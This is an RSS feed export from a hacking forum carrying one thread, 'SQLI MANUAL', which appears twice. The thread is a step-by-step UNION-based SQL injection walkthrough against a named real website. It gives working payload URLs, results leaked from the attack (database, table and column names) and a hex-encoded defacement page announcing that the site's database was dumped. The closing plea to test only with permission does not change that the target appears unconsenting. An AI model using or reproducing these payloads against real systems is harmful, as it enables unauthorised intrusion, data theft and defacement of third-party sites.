<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[StucxTeam Forum - Tutorials]]></title>
		<link>https://stucxteam.my/</link>
		<description><![CDATA[StucxTeam Forum - https://stucxteam.my]]></description>
		<pubDate>Sun, 02 Aug 2026 06:25:08 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[SQLI MANUAL]]></title>
			<link>https://stucxteam.my/Thread-leak-sqli-manual</link>
			<pubDate>Mon, 02 Mar 2026 14:43:16 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://stucxteam.my/member.php?action=profile&uid=13">Carlos1337</a>]]></dc:creator>
			<guid isPermaLink="false">https://stucxteam.my/Thread-leak-sqli-manual</guid>
			<description><![CDATA[<span style="font-weight: bold;" class="mycode_b">Step 1: Test with Single Quote</span><br />
<span style="font-family: Serif;" class="mycode_font">Target: <a href="https://csi-india.org" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org</a></span><br />
<span style="font-family: Serif;" class="mycode_font">Example: <a href="https://csi-india.org/news/index.php?id=-18%20UNION%20SELECT%201,2,0x3C7374796C653E0D0A2A7B6D617267696E3A303B70616464696E673A303B626F782D73697A696E673A626F726465722D626F783B7D0D0A626F64797B0D0A202020206261636B67726F756E643A233030303B0D0A20202020636F6C6F723A233066303B0D0A20202020666F6E742D66616D696C793A27436F7572696572204E6577272C6D6F6E6F73706163653B0D0A202020206D696E2D6865696768743A31303076683B0D0A20202020646973706C61793A666C65783B0D0A20202020616C69676E2D6974656D733A63656E7465723B0D0A202020206A7573746966792D636F6E74656E743A63656E7465723B0D0A2020202070616464696E673A313570783B0D0A7D0D0A2E626F787B0D0A202020206D61782D77696474683A36303070783B0D0A2020202077696474683A313030253B0D0A2020202070616464696E673A333070783B0D0A20202020626F726465723A32707820736F6C696420233066303B0D0A202020206261636B67726F756E643A233131313B0D0A20202020746578742D616C69676E3A63656E7465723B0D0A7D0D0A696D677B0D0A202020206D61782D77696474683A313030253B0D0A202020206865696768743A6175746F3B0D0A20202020626F726465723A32707820736F6C696420233066303B0D0A202020206D617267696E2D626F74746F6D3A323070783B0D0A7D0D0A68317B0D0A20202020666F6E742D73697A653A636C616D7028323470782C3676772C34307078293B0D0A202020206D617267696E3A3230707820303B0D0A20202020746578742D7472616E73666F726D3A7570706572636173653B0D0A7D0D0A707B0D0A20202020666F6E742D73697A653A636C616D7028313670782C3476772C32347078293B0D0A2020202070616464696E673A323070783B0D0A20202020626F726465723A3170782064617368656420233066303B0D0A202020206261636B67726F756E643A233030303B0D0A7D0D0A2E666F6F7465727B0D0A202020206D617267696E2D746F703A323070783B0D0A20202020666F6E742D73697A653A313270783B0D0A20202020636F6C6F723A233636363B0D0A7D0D0A3C2F7374796C653E0D0A3C2F686561643E0D0A3C626F64793E0D0A202020203C64697620636C6173733D22626F78223E0D0A20202020202020203C696D67207372633D2268747470733A2F2F642E746F7034746F702E696F2F705F333731333965726677312E706E672220616C743D226861636B6564223E0D0A20202020202020203C68313E4143434553532044454E4945443C2F68313E0D0A20202020202020203C703E596F757220646174616261736520686173206265656E2064756D706564206279206D653C2F703E0D0A202020203C2F6469763E0D0A3C2F626F64793E0D0A3C2F68746D6C3E,4,GROUP_CONCAT(table_name),6,7,8%20FROM%20information_schema.tables%20WHERE%20table_schema=database()--" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=...tabase()--</a></span><br />
<ol type="1" class="mycode_list"><li>Open: <a href="https://csi-india.org/news/index.php?id=18" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=18</a><br />
</li>
</ol>
[list=2]<br />
[*]Add a quote ' at the end: <a href="https://csi-india.org/news/index.php?id=18" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=18</a>'<br />
[/list]<br />
Result:<ul class="mycode_list"><li>SQL error appears → Vulnerable<br />
</li>
</ul>
<ul class="mycode_list"><li>Normal page → Not vulnerable<br />
</li>
</ul>
<br />
<span style="font-weight: bold;" class="mycode_b">Step 2: Find Column Count with ORDER BY</span><br />
Purpose: Determine how many columns in the table.<br />
<br />
Steps:<br />
<ol type="1" class="mycode_list"><li>Use ORDER BY with increasing numbers:<br />
<a href="https://csi-india.org/news/index.php?id=18" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=18</a> ORDER BY 1--<br />
<a href="https://csi-india.org/news/index.php?id=18" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=18</a> ORDER BY 2--<br />
<a href="https://csi-india.org/news/index.php?id=18" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=18</a> ORDER BY 3--<br />
(Continue until error)<br />
</li>
</ol>
[list=2]<br />
[*]In our case:<ul class="mycode_list"><li>ORDER BY 8 → Success<br />
</li>
</ul>
<ul class="mycode_list"><li>ORDER BY 9 → Error<br />
</li>
</ul>
Conclusion: Table has 8 columns.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Step 3: UNION SELECT to Find Visible Columns</span><br />
Purpose: Identify which columns are displayed on the page (injection points).<br />
<br />
Steps:<br />
<ol type="1" class="mycode_list"><li>Use payload with 19 dummy numbers:<br />
<a href="https://csi-india.org/news/index.php?id=-18" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=-18</a> UNION SELECT 1,2,3,4,5,6,7,8--<br />
(Use negative ID to hide original data)<br />
</li>
</ol>
[list=2]<br />
[*]Check the page. Which numbers appear?<br />
In our case:<ul class="mycode_list"><li>Column 3<br />
</li>
</ul>
<ul class="mycode_list"><li>Column 4<br />
</li>
</ul>
<ul class="mycode_list"><li>Column 5<br />
</li>
</ul>
<ul class="mycode_list"><li>Column 6<br />
</li>
</ul>
[/list]<br />
Conclusion: Columns 3,4,5,6 are injection points.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Step 4: Get Database Name</span><br />
Purpose: Find current database name.<br />
<br />
Steps:<br />
<ol type="1" class="mycode_list"><li>Replace one injection point with database():<br />
<a href="https://csi-india.org/news/index.php?id=-1%20UNION%20SELECT%201,2,database(),4,5,6,7,8--" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=...,5,6,7,8--</a><br />
</li>
</ol>
Result:<ul class="mycode_list"><li>Database name appears where column 3 was.<br />
</li>
</ul>
<ul class="mycode_list"><li>In our case: csindia65_csindia<br />
</li>
</ul>
<br />
<span style="font-weight: bold;" class="mycode_b">Step 5: Get Table Names</span><br />
Purpose: List all tables in the database.<br />
<br />
Steps:<br />
<ol type="1" class="mycode_list"><li>Use information_schema.tables with GROUP_CONCAT():<br />
<a href="https://csi-india.org/news/index.php?id=-18" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=-18</a> UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database()--<br />
</li>
</ol>
Result:<ul class="mycode_list"><li>Table list appears.<br />
</li>
</ul>
<ul class="mycode_list"><li>In our case: menu, news, upload_file_category, category<br />
</li>
</ul>
<br />
<span style="font-weight: bold;" class="mycode_b">Step 6: Get Column Names from a Specific Table</span><br />
Purpose: Find column structure of a target table.<br />
<br />
Steps:<br />
<ol type="1" class="mycode_list"><li>Choose target table, e.g., news.<br />
</li>
</ol>
[list=2]<br />
[*]Use information_schema.columns:<br />
<a href="https://csi-india.org/news/index.php?id=-18" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=-18</a> UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5,6,7,8 FROM information_schema.columns WHERE table_schema=database() AND table_name='news'--<br />
(Encode quotes ' to %27)<br />
[/list]<br />
Result:<ul class="mycode_list"><li>Column list for news: news_id, serial_no, news_title, news_description, news_file_path, file_doc, news_status, news_date<br />
</li>
</ul>
<br />
<span style="font-weight: bold;" class="mycode_b">Step 7: Dump Data from Desired Columns</span><br />
Purpose: Extract actual data.<br />
<br />
Steps:<br />
<ol type="1" class="mycode_list"><li>Choose column to dump, e.g., news_title:<br />
<a href="https://csi-india.org/news/index.php?id=-18" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=-18</a> UNION SELECT 1,2,GROUP_CONCAT(news_title),4,5,6,7,8 FROM news--<br />
</li>
</ol>
[list=2]<br />
[*]For multiple columns at once:<br />
<a href="https://csi-india.org/news/index.php?id=-18" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=-18</a> UNION SELECT 1,2,GROUP_CONCAT(news_id, ':', news_title, '(', news_date, ')'),4,5,6,7,8 FROM news--<br />
[/list]<br />
Result:<ul class="mycode_list"><li>Data appears on the page!<br />
</li>
</ul>
<ul class="mycode_list"><li>In our case: all news titles were displayed.<br />
</li>
</ul>
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-size: large;" class="mycode_size">Conclusion</span></span><br />
With these 7 steps, you can:<ul class="mycode_list"><li>Detect vulnerability<br />
</li>
</ul>
<ul class="mycode_list"><li>Find column count<br />
</li>
</ul>
<ul class="mycode_list"><li>Identify injection points<br />
</li>
</ul>
<ul class="mycode_list"><li>Get database name<br />
</li>
</ul>
<ul class="mycode_list"><li>List tables<br />
</li>
</ul>
<ul class="mycode_list"><li>List columns<br />
</li>
</ul>
<ul class="mycode_list"><li>Dump data<br />
</li>
</ul>
<br />
Remember: Use this knowledge responsibly and ethically. Test only on websites you have permission to test.<br />
<br />
<img src="https://stucxteam.my/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
&nbsp;&nbsp;<a href="attachment.php?aid=9" target="_blank" title="">Screenshot 2026-03-02 224154.png</a> (Size: 357.75 KB / Downloads: 2)
]]></description>
			<content:encoded><![CDATA[<span style="font-weight: bold;" class="mycode_b">Step 1: Test with Single Quote</span><br />
<span style="font-family: Serif;" class="mycode_font">Target: <a href="https://csi-india.org" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org</a></span><br />
<span style="font-family: Serif;" class="mycode_font">Example: <a href="https://csi-india.org/news/index.php?id=-18%20UNION%20SELECT%201,2,0x3C7374796C653E0D0A2A7B6D617267696E3A303B70616464696E673A303B626F782D73697A696E673A626F726465722D626F783B7D0D0A626F64797B0D0A202020206261636B67726F756E643A233030303B0D0A20202020636F6C6F723A233066303B0D0A20202020666F6E742D66616D696C793A27436F7572696572204E6577272C6D6F6E6F73706163653B0D0A202020206D696E2D6865696768743A31303076683B0D0A20202020646973706C61793A666C65783B0D0A20202020616C69676E2D6974656D733A63656E7465723B0D0A202020206A7573746966792D636F6E74656E743A63656E7465723B0D0A2020202070616464696E673A313570783B0D0A7D0D0A2E626F787B0D0A202020206D61782D77696474683A36303070783B0D0A2020202077696474683A313030253B0D0A2020202070616464696E673A333070783B0D0A20202020626F726465723A32707820736F6C696420233066303B0D0A202020206261636B67726F756E643A233131313B0D0A20202020746578742D616C69676E3A63656E7465723B0D0A7D0D0A696D677B0D0A202020206D61782D77696474683A313030253B0D0A202020206865696768743A6175746F3B0D0A20202020626F726465723A32707820736F6C696420233066303B0D0A202020206D617267696E2D626F74746F6D3A323070783B0D0A7D0D0A68317B0D0A20202020666F6E742D73697A653A636C616D7028323470782C3676772C34307078293B0D0A202020206D617267696E3A3230707820303B0D0A20202020746578742D7472616E73666F726D3A7570706572636173653B0D0A7D0D0A707B0D0A20202020666F6E742D73697A653A636C616D7028313670782C3476772C32347078293B0D0A2020202070616464696E673A323070783B0D0A20202020626F726465723A3170782064617368656420233066303B0D0A202020206261636B67726F756E643A233030303B0D0A7D0D0A2E666F6F7465727B0D0A202020206D617267696E2D746F703A323070783B0D0A20202020666F6E742D73697A653A313270783B0D0A20202020636F6C6F723A233636363B0D0A7D0D0A3C2F7374796C653E0D0A3C2F686561643E0D0A3C626F64793E0D0A202020203C64697620636C6173733D22626F78223E0D0A20202020202020203C696D67207372633D2268747470733A2F2F642E746F7034746F702E696F2F705F333731333965726677312E706E672220616C743D226861636B6564223E0D0A20202020202020203C68313E4143434553532044454E4945443C2F68313E0D0A20202020202020203C703E596F757220646174616261736520686173206265656E2064756D706564206279206D653C2F703E0D0A202020203C2F6469763E0D0A3C2F626F64793E0D0A3C2F68746D6C3E,4,GROUP_CONCAT(table_name),6,7,8%20FROM%20information_schema.tables%20WHERE%20table_schema=database()--" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=...tabase()--</a></span><br />
<ol type="1" class="mycode_list"><li>Open: <a href="https://csi-india.org/news/index.php?id=18" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=18</a><br />
</li>
</ol>
[list=2]<br />
[*]Add a quote ' at the end: <a href="https://csi-india.org/news/index.php?id=18" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=18</a>'<br />
[/list]<br />
Result:<ul class="mycode_list"><li>SQL error appears → Vulnerable<br />
</li>
</ul>
<ul class="mycode_list"><li>Normal page → Not vulnerable<br />
</li>
</ul>
<br />
<span style="font-weight: bold;" class="mycode_b">Step 2: Find Column Count with ORDER BY</span><br />
Purpose: Determine how many columns in the table.<br />
<br />
Steps:<br />
<ol type="1" class="mycode_list"><li>Use ORDER BY with increasing numbers:<br />
<a href="https://csi-india.org/news/index.php?id=18" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=18</a> ORDER BY 1--<br />
<a href="https://csi-india.org/news/index.php?id=18" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=18</a> ORDER BY 2--<br />
<a href="https://csi-india.org/news/index.php?id=18" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=18</a> ORDER BY 3--<br />
(Continue until error)<br />
</li>
</ol>
[list=2]<br />
[*]In our case:<ul class="mycode_list"><li>ORDER BY 8 → Success<br />
</li>
</ul>
<ul class="mycode_list"><li>ORDER BY 9 → Error<br />
</li>
</ul>
Conclusion: Table has 8 columns.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Step 3: UNION SELECT to Find Visible Columns</span><br />
Purpose: Identify which columns are displayed on the page (injection points).<br />
<br />
Steps:<br />
<ol type="1" class="mycode_list"><li>Use payload with 19 dummy numbers:<br />
<a href="https://csi-india.org/news/index.php?id=-18" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=-18</a> UNION SELECT 1,2,3,4,5,6,7,8--<br />
(Use negative ID to hide original data)<br />
</li>
</ol>
[list=2]<br />
[*]Check the page. Which numbers appear?<br />
In our case:<ul class="mycode_list"><li>Column 3<br />
</li>
</ul>
<ul class="mycode_list"><li>Column 4<br />
</li>
</ul>
<ul class="mycode_list"><li>Column 5<br />
</li>
</ul>
<ul class="mycode_list"><li>Column 6<br />
</li>
</ul>
[/list]<br />
Conclusion: Columns 3,4,5,6 are injection points.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Step 4: Get Database Name</span><br />
Purpose: Find current database name.<br />
<br />
Steps:<br />
<ol type="1" class="mycode_list"><li>Replace one injection point with database():<br />
<a href="https://csi-india.org/news/index.php?id=-1%20UNION%20SELECT%201,2,database(),4,5,6,7,8--" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=...,5,6,7,8--</a><br />
</li>
</ol>
Result:<ul class="mycode_list"><li>Database name appears where column 3 was.<br />
</li>
</ul>
<ul class="mycode_list"><li>In our case: csindia65_csindia<br />
</li>
</ul>
<br />
<span style="font-weight: bold;" class="mycode_b">Step 5: Get Table Names</span><br />
Purpose: List all tables in the database.<br />
<br />
Steps:<br />
<ol type="1" class="mycode_list"><li>Use information_schema.tables with GROUP_CONCAT():<br />
<a href="https://csi-india.org/news/index.php?id=-18" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=-18</a> UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database()--<br />
</li>
</ol>
Result:<ul class="mycode_list"><li>Table list appears.<br />
</li>
</ul>
<ul class="mycode_list"><li>In our case: menu, news, upload_file_category, category<br />
</li>
</ul>
<br />
<span style="font-weight: bold;" class="mycode_b">Step 6: Get Column Names from a Specific Table</span><br />
Purpose: Find column structure of a target table.<br />
<br />
Steps:<br />
<ol type="1" class="mycode_list"><li>Choose target table, e.g., news.<br />
</li>
</ol>
[list=2]<br />
[*]Use information_schema.columns:<br />
<a href="https://csi-india.org/news/index.php?id=-18" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=-18</a> UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5,6,7,8 FROM information_schema.columns WHERE table_schema=database() AND table_name='news'--<br />
(Encode quotes ' to %27)<br />
[/list]<br />
Result:<ul class="mycode_list"><li>Column list for news: news_id, serial_no, news_title, news_description, news_file_path, file_doc, news_status, news_date<br />
</li>
</ul>
<br />
<span style="font-weight: bold;" class="mycode_b">Step 7: Dump Data from Desired Columns</span><br />
Purpose: Extract actual data.<br />
<br />
Steps:<br />
<ol type="1" class="mycode_list"><li>Choose column to dump, e.g., news_title:<br />
<a href="https://csi-india.org/news/index.php?id=-18" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=-18</a> UNION SELECT 1,2,GROUP_CONCAT(news_title),4,5,6,7,8 FROM news--<br />
</li>
</ol>
[list=2]<br />
[*]For multiple columns at once:<br />
<a href="https://csi-india.org/news/index.php?id=-18" target="_blank" rel="noopener" class="mycode_url">https://csi-india.org/news/index.php?id=-18</a> UNION SELECT 1,2,GROUP_CONCAT(news_id, ':', news_title, '(', news_date, ')'),4,5,6,7,8 FROM news--<br />
[/list]<br />
Result:<ul class="mycode_list"><li>Data appears on the page!<br />
</li>
</ul>
<ul class="mycode_list"><li>In our case: all news titles were displayed.<br />
</li>
</ul>
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-size: large;" class="mycode_size">Conclusion</span></span><br />
With these 7 steps, you can:<ul class="mycode_list"><li>Detect vulnerability<br />
</li>
</ul>
<ul class="mycode_list"><li>Find column count<br />
</li>
</ul>
<ul class="mycode_list"><li>Identify injection points<br />
</li>
</ul>
<ul class="mycode_list"><li>Get database name<br />
</li>
</ul>
<ul class="mycode_list"><li>List tables<br />
</li>
</ul>
<ul class="mycode_list"><li>List columns<br />
</li>
</ul>
<ul class="mycode_list"><li>Dump data<br />
</li>
</ul>
<br />
Remember: Use this knowledge responsibly and ethically. Test only on websites you have permission to test.<br />
<br />
<img src="https://stucxteam.my/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
&nbsp;&nbsp;<a href="attachment.php?aid=9" target="_blank" title="">Screenshot 2026-03-02 224154.png</a> (Size: 357.75 KB / Downloads: 2)
]]></content:encoded>
		</item>
	</channel>
</rss>